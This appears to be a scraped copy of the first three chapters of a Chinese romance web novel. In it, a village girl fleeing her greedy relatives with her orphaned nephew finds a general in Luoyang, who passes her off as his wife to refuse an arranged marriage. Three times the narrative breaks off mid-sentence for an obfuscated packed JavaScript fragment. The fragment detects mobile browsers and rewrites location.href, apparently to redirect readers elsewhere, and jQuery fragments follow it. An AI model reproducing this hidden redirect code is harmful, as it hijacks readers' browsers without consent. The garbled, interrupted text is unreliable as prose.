《将军喜当爹后》 1. 第 1 章 樱笋时节,已有了初夏的意味。 柳善因自泽州而来,背着堪堪六个月大的小侄子没日没夜走了三天,终是抵了宁远将军赵留行在信中曾跟自己提及过的——洛阳。 打北边进了城门,不知是饿得发昏,还是被都城的繁华看晕了眼。 柳善因迷迷糊糊靠上城门下的砖墙,恍惚回想起这一路的风尘碌碌,若不是好心人的帮助,她和侄子怕不是早就死在途中,亦或是遭了歹徒。 被迫离家的故事说来话长,好在最困难的时候已经过去,柳善因现下总算能好好缓口气了。 可谁料,半口气还没喘完,身边就有人嚷嚷起来。 “恁爹,大白日的,走路不长眼?” “恁个鳖孙,你说谁?谁走路不长眼?” 两个操着中原口音的大汉,因为一点小事起了摩擦,那阵势真叫初来乍到的柳善因害怕。她也顾不上头晕,赶忙缩着脖子跑出了那是非的城门底下。 随之去到人来人往的长街,柳善因举目四望都城楼宇高耸衔入云天,竟是惊诧地张不开嘴巴。 天了个地姥娘娘,洛阳城看起来真的好大,好像有十个兰花村那么大!可赵留行只说有困难就到洛阳来找他,却没细说他住哪。如此人生地不熟的,叫她该往哪去找啊? 思及此处,柳善因迷茫地挠了挠头。此刻背上的娃娃还稳稳睡着,她犯了难。 我的个赵赵将军, 你在哪啊—— 可惜,地姥娘娘这会子应是在忙,没能听见她的心里话。 她呢,还是靠自己吧。 但瞧怯懦的柳善因,站在街边物色了半晌,才在对面瞧见了个身穿粗布衣裳,长相和蔼的大娘。她过去问大娘,“麻烦请问您知不知道……” 大娘却急着摆起手来。 柳善因不明所以,攥着手心一脸疑惑也没敢追问。 直到大娘冲自己的耳朵比划了两下,她这才明了,大娘原是个聋者。柳善因尴尬万分赶忙给大娘鞠了个躬,抛下一声打扰转头就跑。 如此可好,把她那本就不多的勇气,击了个粉碎。 柳善因便开始漫无目的地顺着人潮行去。 只是这么下去总归不是办法,她需得找人问问,就是有个大概方向也好啊。也不至于同现在这样窘迫。 于是乎,当路过某间热闹的客栈前时,柳善因预备着跟见多识广的店小二请教。 “那个,那个请问——” 进出的住客遮挡住了她娇小的身影。 柳善因抬头跟迎来送往的店小二招呼了半天,才终于被其发现。 只是等这人热情迎来之后,柳善因竟半句话也没插上,“啊哟哟,娘子听着口音不像本地人,看来是要住店——今儿人太多,小二我有照顾不周的地方,还请您见谅。” “娘子这是一大……一小是吗?您快里面请!” 店小二话密得紧。 柳善因本就有些不好意思,见她这般热情接待,便忙道:“你误会了,我不不不,我不是……我单是想问问!” 柳善因在店小二面前一通摇头,让店小二误以为她是想讨价还价,便趁机拉着她想先到店里去,活脱怕她跑了似,“娘子您先进来,有什么事咱们进店里再说,价格好商量!” “啊?”柳善因懵着脑袋被人拽着向前两步,“不去不去。” 店小二却坚持不懈道是:“来吧来吧。” 柳善因哪里比得过他的牛劲,她见自己解释不清,情急之下伸手抱住了门口的马桩大声呼喊:“我不住店!我不住店!我没说我要住店!我只是想请问,你可知宁远将军府在哪——” 别瞧柳善因个头小,发起急来的嗓门却震天,吓得周遭过客纷纷愣在原地。 店小二闻声更是松手,转头速速离去。 怎么这就走了? 是自己适才太大声吓着他了? 柳善因抱着马桩懊恼不已,她望去那人离开的身影可怜巴巴地追问:“小二,对不起,我不是有意叨扰的。你还没告诉我,你知不知道宁远将军住在哪……呢。” 柳善因的气势随着周遭人的注视越来越弱。 看来她又失败了,手里的马桩俨然成了遮掩她的地缝,她就这么将脸埋在马桩后头,期望着大家能不再将她注视。她也能趁机偷偷溜走。 但事情似乎并未像她想得这般简单,只听她身后忽而传来两声强有力地问话。 “你在找我们将军?” “你找我们将军做什么!” 柳善因扭过头,左右两堵宛若砖墙一般的健硕胸膛,遮蔽住了她的目光。她抬起头,着实被他们凶神恶煞的表情盯得发毛,原店小二是被他们吓走的啊。 柳善因不敢细看,只能偷瞄。 等她瞧清二人身上穿的战袍,这才明晓二人身份为何。可忽然被人这么问,柳善因一时间也不知该如何解释自己此次进京寻人的目的,“我找他…我找他……” 柳善因支支吾吾。 两人之中那个瞧上去潇洒风流的儿郎,见状不由得猜疑。他侧过身,“吾雷,你说一个妙龄娘子带着个这么小的娃娃,满大街地找头儿?该不会……是咱们头儿在哪欠的风流债吧?” 吾雷听同伴如此说,不敢置信地回首望去,“风听,莫胡说。” 前人暗自揣度。 柳善因见势不对,鼓起勇气出言打断:“我找将军有事,二位军爷知道宁远将军在哪里吗?” 有事? 风听和吾雷面面相觑。 他们即刻打量起眼前人,却并未在柳善因单纯的小脸上察觉到任何危险,吾雷便如实道:“我们正要去同将军议事,娘子既然也要寻将军,就与我们一道吧。不远。” “真的吗?多谢军爷,多谢军爷。” 柳善因连连道谢,可面对着两个身材魁梧的男子,她还是多多少少有几分戒备在心,毕竟连自家人都能坑害自己,更莫要说这不熟悉的外人了。 吾雷邀她行路,柳善因松开抱住马桩的手臂低声语:“军爷们先行,我在后面跟着就好。” “行,那娘子跟好,莫要跟丢。”风听心细,他知晓眼前人是害怕他们,随手扯着憨头憨脑的吾雷就离开了柳善因面前。 柳善因看着两人动身离去,心中总算是有了着落。 她不敢懈怠,小心跟去。 - 长街之上,路人形形色色。 柳善因跑跑行行,小碎步一路上就没怎么停。反倒是前边两个人高马大的儿郎,悠闲自在。 风听用余光瞥罢柳善因,确定她有跟上后,转头环臂与吾雷嘀咕道:“诶,真没想到头儿那么桀骜无情的一个人,竟然能做出这种事……藏的可真深呐。” “我说头儿这回被逼着回京娶亲,是死活不依呢?搞了半天,原是有情况!” “不过滏阳郡主是赵家给头儿定的亲,郡主又是头儿继母临芳长公主的亲侄女,头儿这回要真是另娶。那赵家那边岂不是要翻天——” “头儿跟家里的关系本来就不好,这下不是彻底完了?!那咱们还能回北庭吗?” 风听不愧名唤风听,话越说越离谱。 听得吾雷直头大,他转过头故意跟其划清界限,“去去,我可警告你,少在这儿捕风捉影的说别人闲话。小心这些话传到将军那,到时候拔你的舌头,我必是帮着递刀。” 听风闻之反驳,“混球,你不乱传,将军必是不能拔我的舌头。” 两人聊得忘乎所以,柳善因跟在后头听得断断续续。 拔舌头!好可怕——为什么要拔舌头?拔谁的?该不是拔她的吧! 柳善因胡乱猜想,不觉打了个颤。 她趁二人转弯前停下脚步,不愿再向前跟去,是生怕遭遇什么不测。可她又实在想快些寻得赵留行,便忍不住地抬眼观望,眼中满是为难。 “娘子怎的不走了?”风听和吾雷察觉不对,转头回看。 柳善因吓得脱口而出一句:“我不去了,不去了。” 风听和吾雷不解其意。都到这儿了,说不去就不去,岂不可疑? 二人见状相视一眼,上前左右挡住想要开溜的柳善因,“娘子不是急着见我们将军——走了走了,这就到了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15105979|163873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。那边那个门头就是,也不差这几步了。” 柳善因这连个瘦弱店小二都拧不过的小女郎,自是抵不住两个魁梧大汉的“要挟”。 她左右两眼看去,吓得心脏砰砰,却是半分不敢推拒。 最后无奈行去, 也只求自己千万不要变成个没了舌头的小哑巴。 - 将军府的门前,赵留行刚从御前上值回来,正立在门前歇口气。 他自被赵家故意从北庭调回洛阳,做了个正五品上的勋卫羽林郎将后,日子就一日比一日难熬,身心一日比一日疲惫。 那伴君如伴虎的分寸,与人际之间的斡旋,简直比他在北庭打仗时还累还难。 他受够了。 可几次三番请求身为大都护的姑姑想办法将他调回北庭,结果都是一字的答案——等。 这等来等去,何日才是个头?洛阳他是一天都待不下去。 赵留行愤懑不已,一拳捶上门边。 他明了赵家处心积虑把他弄回来,就是为了让他和滏阳郡主成婚,跟呈王亲上加亲。可赵留行作为自小被父亲丢弃的儿子,在他最需要他们的时候,他们选择置若罔闻。 如今碰上利益牵扯,竟又想起他来。 赵留行不是逆来顺受的怂包,他不会妥协,更不可能娶那骄纵的滏阳郡主为妻。他偏要跟他们耗。事缓则圆,赵留行想自己定能寻到个破局的机会和办法。 他一定得回到北庭去, 因为只有离开这里,他才是自由的。 “头儿正巧你在,你瞧我们把谁给你带来了——” 风听的声音落进耳畔,赵留行拉回思绪,将目光定在缩于两人中间那个布衣荆钗娇小玲珑,面上带着几分憨态可掬的女郎身上。 待到眯眼观望半晌,赵留行依旧无解。 谁? 柳善因怯生生抬起头,心中的惴惴不安,竟在望见赵留行的那刻全然消散。 她瞪大双眸,圆溜溜的杏眸里满是他。 柳善因在兰花村的山坡上见过他,那时西行的大军头一遭路过家门。她偷跑出来给阿兄送行,浩浩汤汤的队伍里,她没找到阿兄,却一眼就看见了那个高大威猛的少年将军。 她不会认错,他就是把阿兄送回家乡的赵赵将军。 她总算找到了他! 地姥娘娘保佑,这两个人不是要拔了她的舌头,更没有骗她——此时此刻,在经历了一路提心吊胆的奔波后,柳善因面对着眼前人心情五味杂陈,红润的眼眶就差落下几滴应景的泪珠。 风听见这势头,一脸看戏地眼神望向吾雷。 吾雷没接茬。 门前素味平生的女郎,第一次见面就这样楚楚可怜地望着他,叫赵留行感到莫名其妙。 他不知这是赵家的阴谋,还是手下开得玩笑。 总之他一脸威严看向柳善因,刚想吐出一个你字,就被突然递来眼前的信纸给噎了去。 柳善因知道自己嘴笨,她怕解释不清自己是谁,又从何而来,便从怀里掏出了那封她从家里唯一带走的东西——赵留行在阿兄战死后,亲手寄给自己的书信。以表来意。 柳善因将手臂伸地笔直,两只紧握信纸的手,也随着心下的紧张抖啊抖。 “给我的?” “嗯。” 胆怯的应答落去,赵留行将信将疑接过信纸展开一瞧,便知晓了来者何人。 原是柳徽的小妹。 与赵家和手下皆无甚联系。 赵留行松了口气,没有适才那般防备。 他折起信纸,又冲柳善因看了一眼,见眼前人那仆仆的发髻上零落着她的疲惫。赵留行猜想她不惜离家二百里,亲自到洛阳寻自己必是遇见了难处,便问:“柳家妹妹,你来寻我是……” 谁料,他这话刚说出口,就被一阵张狂的马蹄声掩盖。 门前几人,包括柳善因在内皆循声侧目。 下一刻,当一驾金贵的马车赫然停在将军府门前,众人未见其人,便闻车内年轻女郎愤怒的一句:“赵留行在哪——本郡主现在就要见到他。” 2. 第 2 章 贺松月张扬的嗓音里,尽是呈王府予她的威风。 赵留行趁势将柳善因递来的书信背去身后,傲然望向眼前停住的车架,不禁嗤然。他厉声说:“本将在这。” 贺松月坐在车上未动。 直到追赶不及马车的家奴们纷至沓来,挤满了将军府的门前。她才在女使的接引下,掀了竹帘。 彼时,柳善因这先来的人一句话没跟赵留行搭上,便被后来的王府家奴无情淹没在了马车边。若不是吾雷好心相扶,她怕不是就当着众人的面和小侄子一块飞了出去。 柳善因护着娃娃谢过吾雷,转头发现来人像是个自己招惹不起的显贵,为了不给赵留行添麻烦,她便只得乖乖等他们交流过后,再与之攀谈。 “郡主找我?”赵留行漠然。 他一直不明白,为何贺松月这般执着这门亲事?按理说,他们就是两个毫无交集的陌生人。 贺松月顿在帘下,一双细长的凤眼将赵留行盯得死死。 她还未下车,就已察觉出赵留行并不欢迎自己。 若搁旁人,她必是不会多留一刻,甚至还要给他些颜色瞧瞧。 只是这对于赵留行的例外,并非是她有多心悦他。 只因赵留行,是最合适她的人。 呈王府三娘金枝玉叶,自不愁嫁。但放眼洛阳城与之同龄的世家公子,能做到像赵留行这般长相与仕途皆无可挑剔的郎君,可谓是寥寥无几。 加之她与临芳长公主的关系,若来日嫁进赵家,不受婆母刁难不说,日子必定如鱼得水。 夫君有为,夫家顺意。 这,便是贺松月的私心,也是她执着的理由。 两情相悦纵然可贵,但相较于感情上的虚无缥缈,她还是更看重能够掌控在手的东西。 可想象总归美好,奈何赵留行就像块粪坑里的石头,又臭又硬。屡屡拒婚惹得她心烦意乱,偏父王和姑母在圣上那又迟迟求不下一道赐婚的旨意。 左右无计可施,最终把贺松月逼急了眼,才不得不上门逼婚,要赵留行一个交代。 她倒要看看自己抛开面子亲自登门,他还能有什么推脱的理由。 洛阳风光十七载, 贺松月觉得这世间就没有她得不到的东西。 轻盈的裙纱落了地,贺松月昂首站在赵留行面前,头顶的金钗甚是耀眼。她张了口,今日唇上涂得是她最爱的海棠红,她骂:“赵留行,你少给我揣着明白装糊涂。” 贺松月一样没给赵留行好脸子。 她甩了使人的手臂,两步登阶就到了赵留行跟前。与柳善因的小心翼翼不同,她的肆意张狂直冲赵留行眼眶,“本郡主到底为着什么屈尊来寻,你心知肚明。” 风听站在事外抬眼看看阶上气势逼人的贺松月,又转头瞅瞅蔫头耷脑的柳善因,浮想联翩。 难料难料,这场面何等刺激? 一边是约定好的父母命,一边是找上门的风流债。混乱之中的剑拔弩张,叫风听不禁为自家将军捏了把冷汗。 赵留行却若有所思望向低处的柳善因,毫无波澜地同贺松月开口:“滏阳郡主,有些话,本将早就在赵家当着长公主的面说得清清楚楚,你若有什么不明白的,大可去问长公主。我没有必要和郡主再多重复,否则你我脸上都挂不住。郡主今日若还是为了那事而来,就请回吧。本将还有事做。” “赵留行,你什么意思?你是想赶本郡主?” “是。” 赵留行无情回应,默将背后书信塞藏进手腕。贺松月压根没料到他今日能硬气到这个地步。然她并非高估了赵留行,而是高估了自己。 她不敢置信,竟真的会有人不贪权势,不恋美色,寻不到丝毫破绽。 贺松月忍无可忍,“不识好歹。赵留行,本郡主告诉你,赵家与呈王府的联姻,不是你我之间的私事,亦不是你我能左右和改变的。你没得选,你的选择只能是——乖乖娶我。” 原来,他们说的是这件事啊。 柳善因在人群里低头,耳朵却早已伸向了门前。 往前村舍邻里的鸡零狗碎她没少听,可豪门贵胄的爱恨纠葛她还是头一遭闻。作为兰花村口常驻的看客,这等送到耳边的热闹,她岂会不感兴趣? 柳善因立在原地听得起劲。 赵留行在阶上怒目看向贺松月,他本不想把话说到这般田地,奈何眼前人步步紧逼,“君主霸道,就是今日圣上的旨意下到头顶,我亦不会应了这门亲。” “赵留行,你——” 贺松月举目冷笑,“为什么?你就这么不愿娶我?你难道不知洛阳城多少世家公子一心求娶于我?本郡主难道配不上你个羽林郎将?” 听闻此处,不明所以的柳善因,被赵留行的强硬态度吓得缩了缩脑袋。 她开始担忧,担忧眼前人不会像信中那样信守承诺。可文字表达里的赵留行,全然是个忠肝义胆的赤诚少年。她想不明白到底发生了什么,便只剩下了惶惶不安。 毕竟,这是他们的第一次见面,她一点也不了解他。 可柳善因越想躲,就越走背字。 忽然,娃娃的哭声不知为何从背后响起,打破了眼前的僵局,吸引了众人的注意,就连高傲的贺松月也跟着瞥向她。 完了完了,这可如何是好?! 柳善因在众人的注视下手忙脚乱。她先是颠了颠背上的小侄,见成效不佳,又赶忙解下背带将娃娃抱在怀里尴尬哄道:“哦哦,我的小宝呀,一路上都不哭不闹的…怎么现在醒了……” 吾雷和风听在旁想要帮忙,又不知从何下手。 场面顿时乱成一团,可正当众人在这一声声娃娃的啼哭里迷茫,赵留行的声音忽而从阶上传来。 “是本将配不上郡主。” 贺松月回头眯眼望向赵留行,她不明白他此话何意。 赵留行却指着不远处素未谋面的柳善因急中生智道:“如郡主所见,本将已有妻儿,并早已对她许下此生不渝的誓言。断不能再娶郡主为妻。” 已有妻儿?谁—— 我吗?! 赵留行一句话惊诧众人。吃瓜吃到自己头上的柳善因,被吓得抱着小侄子当场石化。风听却同吾雷低声说:“瞧瞧,我就说是那么回事,你还不信……” 吾雷瞥了他一眼,警告其别胡言乱语。 “什么?”贺松月那双狠厉的眸子,盯上柳善因。看得人心里发毛。 事情到了这儿该如何收场呢…… 家中生变,她此 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15105980|163873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 行逃离故乡,就是为了能在洛阳生存下去,填饱自己和小侄子的肚子。 柳善因脑子转得飞快,这一顿饱和顿顿饱,她分得很清。 她索性把心一横,顺坡下驴配合赵留行,扑到他身边哭喊起来:“孩他爹啊,我可找到你了。孩子这么小,你怎能做那负心之人呐——” 柳善因的嗓门一如既往地震天。 这阵势莫说赵留行,就是一旁的贺松月也被吓得向后撤了两步。 小侄子似乎察觉到小姑在哭,居然渐渐地安静下来。 门前鸦雀无声,柳善因在赵留行身旁装模作样,抽抽搭搭。她用小侄子毛茸茸的脑袋接下两滴泪花,又悄悄抬眸看了贺松月一眼,却被其吓得往赵留行身后窜了窜。 “赵留行,你,你欺人太甚。” 贺松月咬牙切齿,她恨不得将眼前这毁她面子的人,撕个粉碎。 她在离开前压着心中的怒意,警告起赵留行,“你别以为本郡主会放过你,呈王府不是好欺负的,赵家也不是你说了算的。咱们走着瞧。” 事已至此,贺松月还留着作甚? 她走了,就跟她来时一样招摇。奔腾的马蹄和追随而去的家奴,把平静归还。 赵留行丝毫没有被贺松月的话吓着,他淡定地看向远方。 直到街角不再扬起尘烟,他才若无其事同风听与吾雷说:“你们找我有事禀告?” 吾雷拱手刚想说话,就被风听果断拦下,“没,没有,不是什么大事。您先忙您的,我俩等头儿空闲了再来不迟。既然嫂子给您送到了,我俩这就告辞了。” “头儿莫送——”风听拉着吾雷一溜烟跑了。 嫂子? 赵留行这才缓神看向身后猫着的柳家小妹,忽而生出几分尴尬。 他垂了眸,这才同柳善因开口,“今日的事,多谢。其余的你别挂心,我会自己处理。” 柳善因摇摇脑袋,忙说:“没事没事,能帮到赵赵将军就好。” 话音落去,适才敛去的疲惫又重新出现在脸上,赵留行闻言转身,“进去坐吧。”可等他抬了抬腿,忽而想起什么,便转头跟柳善因客气了句,“那个……” “用我帮你抱会儿孩子吗?” “哦好,谢谢赵赵将军!”柳善因心思单纯,她一时没琢磨过来眼前人是在跟自己客气,便顺势将孩子塞进赵留行怀里。 别瞧小侄子年岁不大,却是实心地沉。 柳善因本就瘦弱,加之一路奔波不歇的赶路,早就精疲力竭。 只抱了小侄子那么一会儿,就已经吃不消了。 这好不容易卸下“担子”,柳善因赶忙抬手敲了敲自己酸痛的肩膀,丝毫没发现一旁人的窘迫。 可骁勇善战,提刀能杀四方的宁远将军,哪里接触过这么小的孩子……就是小狗他也未曾伸手抱过。被柳善因这么唐突地一弄,赵留行就好似被封印了般,动也不动地端着孩子愣在原地。 他将脊背挺得笔直,生怕摔了怀里的小娃娃。 跟着直勾勾盯上柳善因,赵留行希望对方能够有所察觉,不成想柳善因竟也眼巴巴望向他。 赵留行无奈刚想开口,却听眼前人一脸无辜冲他问道:“赵赵将军,咱们不是要进去吗?” 3. 第 3 章 进门之前,赵留行余光瞥见东边廊前有双窥伺的眼。 他领着姑侄二人大方而入,直到和那虎视眈眈的女使对上,也不曾有半分退让。死人堆里爬出来的恶鬼,岂会被一个父亲派来监视他的内院女使恫吓? 此刻,就算他什么话也不说,也能叫眼前人胆寒。 赵留行本没想理会。可他行出三步,就听女使在身后厉声说:“三郎君这回做得太出格,阿郎那边是断不会饶恕三郎君的。” “饶不是饶恕是他的事,与我无关。更轮不到你置喙。”赵留行言语冷淡。 他的声音沉沉,连个多余的眼神也没留给那人。 十几年了,他除了姓赵,早就与赵家再无关联了。 话落垂眸,他看柳善因唯唯诺诺跟在身旁,若有所思地道了句:“夫人饿了,你去吩咐厨房给夫人弄些热乎的。” 不料,女使却违背了他,“她不能留在这里——此关乎赵家与呈王府的声誉。” 赵留行转过头,狠狠盯着那边廊下的女使,“她不能留在这里?” 很显然她适才的话激怒了他,“那你便能留下?秦氏,你别以为你是护军府的老人,就能这般肆意妄为。这儿是大都护在洛阳的私宅,不是你们护军府——做好你分内的事,别忘了自己的身份。你若想端以前的架子,嚼本将的舌根子,就给我拔了舌头滚回护军府去。” 主人震怒,一个女使纵使有再大的靠山,也得忌惮。 更何况留在这里才是她的职责,若被赶回护军府,她必是会遭那位更重的责罚。几番权衡,女使收敛脾性,识相躬身离去,“三郎君息怒,我去厨房备饭就是。” 赵留行闻言不想与之再费口舌,沉默着将视线回收。 堂前夕照,他恍惚想起刚回京那会儿,护军府那边要求他归家起居,他却执意住进二姑姑的私宅,就是为了反抗和表明自己的态度。 况且自打父母和离,又各自婚嫁后,那边就再没有他的容身之处。 他也不愿归到那个无情也无义的“家”去…… 赵爹见赵留行态度坚决,也碍于二妹和儿子如今在朝中的地位,便没再强求其归家,只是借着院中无人侍奉为由,假意派了些女使婆子来看着三郎君,以掌握他的一举一动。 彼时残阳入眼,也暖不热儿郎冰冷的眼眶,他们的恩怨由来已久,并非一夕能够说透。 赵留行轻叹息,却不经意发现身边的女郎正惊惧地将他相望。 赵留行一惊,忙说:“你别害怕,我不是对你!” 可柳善因此刻满脑子都是他发怒的样子,哪里还能听得进去?她吓得眼珠子将要落了地。 好可怕,他!他会拔人舌根子!! 赵留行看着眼前人呆愣的模样,不知该如何是好,只得转移话题道:“你远道而来一定辛苦,先进去歇息吧。晚饭很快就好。” 咦?有饭吃了? 那能给自己饭吃的人,应该也不会太坏~ 柳善因情绪来得快,去得也快。 饥肠辘辘了这么多天,她已是很久没有吃过饱饭了。无人能懂眼下吃饭这个词,对她的诱惑力有多大。瞧她转瞬望向赵留行好奇道:“赵赵将军怎么知道我饿了?” 赵留行闻言愣了一下。 他实是有些看不懂眼前这个烂漫的女郎。 但至于自己为什么知晓她饿了……他想大概是因为她的肚子早就在门外时,就遮掩不住地叫,让他不想知晓都难。他便应声说:“我猜的。” 赵留行一本正经端着娃娃,没说实话。 柳善因却信以为真,“赵赵将军猜的真准!”可当她想起适才那人言语中的针锋相对,又担忧地问,“只是赵赵将军,我们在这里是不是给你添麻烦了…不若我还是……” 赵留行抬起的步子,因她而停下。 他转过头刚刚好立在下一道院门中,忽而转变了摸样,他就这么看着柳善因说:“你们安心呆着,添麻烦的是我才对。” - 内庭的桃花开得正好,是娇嫩的粉红色。 柳善因哄睡小侄子立在花雨纷飞的廊前,耐心等待赵留行更衣归来。 她定睛望向来时的远方,总算能够平静下来。 冥冥想起柳徽,柳善因不由暗道:“阿兄保佑,我们终于平安逃到洛阳了。” 赵留行在京的住处不大,里外里三间房。小庭幽院,柳暖花春,倒是别有一番风情。柳善因好奇张望,要知道往前住在兰花村,家家户户尽是茅屋草舍,她从也没见过这样好的宅院。 一双圆溜溜的大眼望啊望。 直到望见一身官绿圆领袍的儿郎,似劲竹般挺立身旁,反应总是慢半拍的柳善因才赶忙敛容,垂下了眸。可没等她问候,赵留行就先开了口:“还不知道你叫什么?” 柳善因眨眨眼,小声答曰:“柳善因。” 善因善果,善始善终。赵留行点点头觉得这是个好名字。 柳善因瞧他没反应,紧接着补充:“赵赵将军就叫我小柳吧,乡亲们都这么叫我。” “小柳。”赵留行下意识地重复。 柳善因赶忙应声,“诶!” 两人对上眼神时多少有些陌生,适才的闹剧似乎被人抛在脑后,柳善因躲闪开赵留行冷峻的目光,却看他唇峰欲动,张口无声。 柳善因抬起头,琢磨眼前人想说什么。 谁料,端着茶饭的女使忽而闯进二人的视线,赵留行见时机不对,默然回身推门。 柳善因就没去追问。 - 后时,相对而坐一张饭桌,小侄子被柳善因放在一旁的坐榻上再次进入梦乡。 赵留行盯着退出门外的身影渐行渐远,这才回眸望向对面。 他说:“府中吃食简单,柳家……小柳别嫌。” 柳善因摇摇头,张口的时候眼神一刻也没从饭菜上离开过。她道:“赵赵将军哪里的话,小柳怎么会嫌弃呢!我感激还来不及——” 赵留行正身坐着,他不理解眼前的女郎为何一直称呼他为“赵赵将军”。 可这头一遭见面, 因为与之不熟,他也就没多追究。 赵留行察觉出柳善因的饥肠辘辘,张口客气:“吃饭吧。” 柳善因闻言慢吞吞拿起木箸。 此刻哪怕是腹中空荡,不见主家动筷,她愣是不敢下手去夹。 赵留行见状接茬说:“别拘谨,就当自家一样。我下值前在宫中用过了,你只管自己吃。” 眼前人的话,就像是声令下。柳善因再顾不上那么多,夹起与新鲜荠菜一同烹炒的鸡蛋搁在碗中,配着就是一大口香甜的黍米咽下。 柳善因吃饭如打仗,赵留行着实被她狼吞虎咽的样子吓到。 可他没说话,只是默默倒了杯热茶推向了她。之后转眸望向那端的娃娃,赵留行随口问了句:“这孩子是……你的?” 同是一句话,却有两重意。 柳善因答曰:“侄子。” 她一边扒拉着碗中饭,一边嘟嘟囔囔地回着赵留行的话,生怕错过他的每一次问答。 柳善因解释说:“这是我阿兄的遗腹子。” 赵留行愣了下,自己该想到的,柳徽临死前曾说过要他照拂家中的孕妻和胞妹。 此刻,屋内在柳善因语毕后陷入沉默。 赵留行忆起那场惨痛,不觉握紧了拳头。那时若非在西行的路上遭了敌军埋伏,柳徽便不会因为护他突围而死在异乡。所以,他断不能按照赵家的意思在洛阳虚度光阴。 他定要杀回北庭,报了这不共戴天的仇去。 赵留行忽而抬起头,诚恳道了句早该说的,“抱歉。” 这突如其来的致歉,惹得柳善因悲从中来。 瞧她眼中霎时泪意涟涟,跟着阵阵酸楚涌上心头,口中的黍米便再难下咽。她就这么噙着半口饭,呆在了饭桌前。 父母早亡,相依为命的阿兄又年轻命丧,叫她如何不悲伤… 可是…… “赵赵将军,这怎么能怪你呢?” 柳善 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15105981|163873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 因沉默良久,才回了这样一句话。 她依旧低着头,心里却跟明镜一样。她想阿兄是赤胆忠心的大英雄,他不是为眼前人而亡,他是为永明而亡。所以,怎么怪也怪不到他头上。 柳善因将许多事藏在心里,眉眼却不再展露分毫。 她想劝劝赵留行,但害怕自己词不达意,便把话连同剩下的半口黍米,一块咽了下去。 她呢,总喜欢向前看,最不愿往后瞧。 沉默愈演愈烈,赵留行盯着柳善因双环髻上的残花,试图绕开这个沉重的话题,继续说起适才在屋外没能说出口的话,“柳徽临终之托,要我多多照拂。柳家妹妹,能到这儿来寻我,可是出了什么事?有事你尽管言语,在我能力范围之内,定在所不辞。” “……” “赵赵将军,我若不是被逼得实在没有地方可去,没有亲戚可寻。一定不会到这里来叨扰您。” 柳善因应声时,明显带着委屈的哽咽。赵留行不知发生了什么,只叫她慢慢说。 彼时,柳善因端着碗筷的手未曾搁置,她把思绪抛去了逃离兰花村的那天晚上。 “可阿兄死了,大伯一家盯上了阿兄留下的宅院,良田,还有您和朝廷给的银两。他们串通嫂嫂娘家,不知许了嫂嫂娘家多少好处。亲家大舅竟在嫂嫂生完小宝第三天,不顾嫂嫂的反对,执意将嫂嫂带了回去。打算另行二嫁。” “大伯他们便趁机以小宝无人看管照顾为由,不经我同意,强行住进了我们的院子。” “他们欺人太甚——他们赶走了嫂嫂,让他们母子分离。最后为了将我也清理出门,以把持小宝独吞财产,居然要将我嫁给村里臭名昭著的混账东西。” 柳善因心有余悸,她的手在抖,赵留行看得真切。 可幸好柳善因逃出来了,她没有被命运折服,“我知道,我不能就这么任由他们安排,更不能把阿兄唯一的孩子交给他们抚养。所以我便瞅准时机趁他们吃酒醉下,偷了小宝一路往南跑。” “我没有办法回头,我怕被他们抓回去,就只能到洛阳来寻您。” 话音落了,柳善因平静下来。 赵留行却愤然拍案,“岂有此理——他们竟做这般非人之事!” 这事莫说落在柳徽妹妹的身上,就是落在无关之人的身上,也会叫赵留行义愤填膺。他此刻眼中杀气腾腾,恨不能现在就杀到兰花村去。只是…… 这毕竟是人家的家事,他还是得听听眼前人自己的意见。 他问柳善因:“小柳想我怎么做?” 柳善因却眨眨眼,没能明白赵留行话中深意。 她当下满心想的都是如何带着小宝活下去,从没想过要去报复大伯一家。而且她也不想给眼前人添麻烦。毕竟人家是个高高在上的将军,与她这种粗俗的乡野丫头,是不一样的人。 她又能要求他什么呢? 或许是因为自小没有父母的庇护,叫柳善因早就忘记反抗的本能,更不知道什么是争取。 那天能够冒险逃离兰花村,已是她这辈子做过最勇敢的事。 柳善因望着赵留行凝重的眼眸,猛地起身道出个请求,“请赵赵将军帮帮我,收留我在府中做工——”话说出口的一瞬,她给赵留行鞠了一躬,“脏活累活,我都能做。只要您能叫我们留下,您让我做什么都可以!” 赵留行听着柳善因的应答,不敢置信。 他问:“仅此而已?” 只因在他的观念里,以牙还牙,以眼还眼。才能不做任人宰割的羊,他从来把命握在自己手里。 可柳善因却弱弱地嗯了一声,“仅此而已,小柳别无他求。” 眼前人话说得这般明白,赵留行还能再去多说什么。他便止语收敛起难以捉摸的目光,沉声说了句:“我答应过你阿兄,你自是可以留下,亦不必在府中做工。” “不做工?那赵赵将军需要我做什么?”柳善因歪了头,听候吩咐。 